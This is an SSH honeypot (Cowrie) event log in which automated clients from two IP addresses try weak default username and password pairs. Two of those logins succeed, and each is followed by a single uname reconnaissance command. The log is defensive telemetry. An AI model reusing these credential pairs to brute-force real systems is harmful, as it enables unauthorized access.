{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54754,"dst_ip":"10.17.0.5","dst_port":22,"session":"26346e39e061","protocol":"ssh","message":"New connection: 45.156.87.253:54754 (10.17.0.5:22) [session: 26346e39e061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:06.853381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:06.857290Z","src_ip":"45.156.87.253","session":"26346e39e061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:06.938765Z","src_ip":"45.156.87.253","session":"26346e39e061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"root","message":"login attempt [developer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:07.184626Z","src_ip":"45.156.87.253","session":"26346e39e061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:08.268416Z","src_ip":"45.156.87.253","session":"26346e39e061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58410,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d5c1bbf165","protocol":"ssh","message":"New connection: 45.156.87.253:58410 (10.17.0.5:22) [session: d1d5c1bbf165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:10.174832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:10.177484Z","src_ip":"45.156.87.253","session":"d1d5c1bbf165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:10.260031Z","src_ip":"45.156.87.253","session":"d1d5c1bbf165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:10.654134Z","src_ip":"45.156.87.253","session":"d1d5c1bbf165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:11.737305Z","src_ip":"45.156.87.253","session":"d1d5c1bbf165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58414,"dst_ip":"10.17.0.5","dst_port":22,"session":"f56f85ba9bdf","protocol":"ssh","message":"New connection: 45.156.87.253:58414 (10.17.0.5:22) [session: f56f85ba9bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:13.695669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:13.699565Z","src_ip":"45.156.87.253","session":"f56f85ba9bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:13.780693Z","src_ip":"45.156.87.253","session":"f56f85ba9bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:14.026670Z","src_ip":"45.156.87.253","session":"f56f85ba9bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":59710,"dst_ip":"159.203.135.109","dst_port":22,"session":"774c1c2f6875","protocol":"ssh","message":"New connection: 103.98.149.87:59710 (159.203.135.109:22) [session: 774c1c2f6875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:14.587705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:14.685085Z","src_ip":"103.98.149.87","session":"774c1c2f6875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:14.850899Z","src_ip":"103.98.149.87","session":"774c1c2f6875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:15.206443Z","src_ip":"45.156.87.253","session":"f56f85ba9bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:15.708965Z","src_ip":"103.98.149.87","session":"774c1c2f6875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:16.941272Z","src_ip":"103.98.149.87","session":"774c1c2f6875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58428,"dst_ip":"10.17.0.5","dst_port":22,"session":"186f4ed10c22","protocol":"ssh","message":"New connection: 45.156.87.253:58428 (10.17.0.5:22) [session: 186f4ed10c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:16.967667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:16.971650Z","src_ip":"45.156.87.253","session":"186f4ed10c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:17.052052Z","src_ip":"45.156.87.253","session":"186f4ed10c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:17.435053Z","src_ip":"45.156.87.253","session":"186f4ed10c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:18.518855Z","src_ip":"45.156.87.253","session":"186f4ed10c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39454,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac8678f609d5","protocol":"ssh","message":"New connection: 45.156.87.253:39454 (10.17.0.5:22) [session: ac8678f609d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:20.496548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:20.500082Z","src_ip":"45.156.87.253","session":"ac8678f609d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:20.582394Z","src_ip":"45.156.87.253","session":"ac8678f609d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:20.826083Z","src_ip":"45.156.87.253","session":"ac8678f609d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:21.034394Z","src_ip":"45.156.87.253","session":"ac8678f609d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:21.037253Z","src_ip":"45.156.87.253","session":"ac8678f609d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:21.121988Z","src_ip":"45.156.87.253","session":"ac8678f609d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:21.126374Z","src_ip":"45.156.87.253","session":"ac8678f609d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39462,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e5dc8272dc","protocol":"ssh","message":"New connection: 45.156.87.253:39462 (10.17.0.5:22) [session: 62e5dc8272dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:23.797120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:23.801381Z","src_ip":"45.156.87.253","session":"62e5dc8272dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:23.881900Z","src_ip":"45.156.87.253","session":"62e5dc8272dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:24.125100Z","src_ip":"45.156.87.253","session":"62e5dc8272dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:25.208031Z","src_ip":"45.156.87.253","session":"62e5dc8272dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39464,"dst_ip":"10.17.0.5","dst_port":22,"session":"5df354e07d9c","protocol":"ssh","message":"New connection: 45.156.87.253:39464 (10.17.0.5:22) [session: 5df354e07d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.276190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.280390Z","src_ip":"45.156.87.253","session":"5df354e07d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.361367Z","src_ip":"45.156.87.253","session":"5df354e07d9c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.605030Z","src_ip":"45.156.87.253","session":"5df354e07d9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.799853Z","src_ip":"45.156.87.253","session":"5df354e07d9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:27.802768Z","src_ip":"45.156.87.253","session":"5df354e07d9c","protocol":"ssh"}
